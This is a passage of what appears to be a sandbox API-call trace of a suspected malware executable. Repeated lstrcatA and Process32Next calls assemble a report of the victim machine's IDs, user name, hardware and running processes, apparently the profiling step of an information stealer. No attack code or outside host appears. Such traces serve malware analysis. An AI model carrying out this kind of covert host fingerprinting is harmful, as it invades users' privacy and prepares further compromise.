d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608"
[0054.856] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n"
[0054.856] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x358, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
[0054.857] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- "
[0054.857] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- ", lpString2="WMIADAP.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe"
[0054.857] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe ["
[0054.857] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.857] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.857] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.857] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [", lpString2="776" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776"
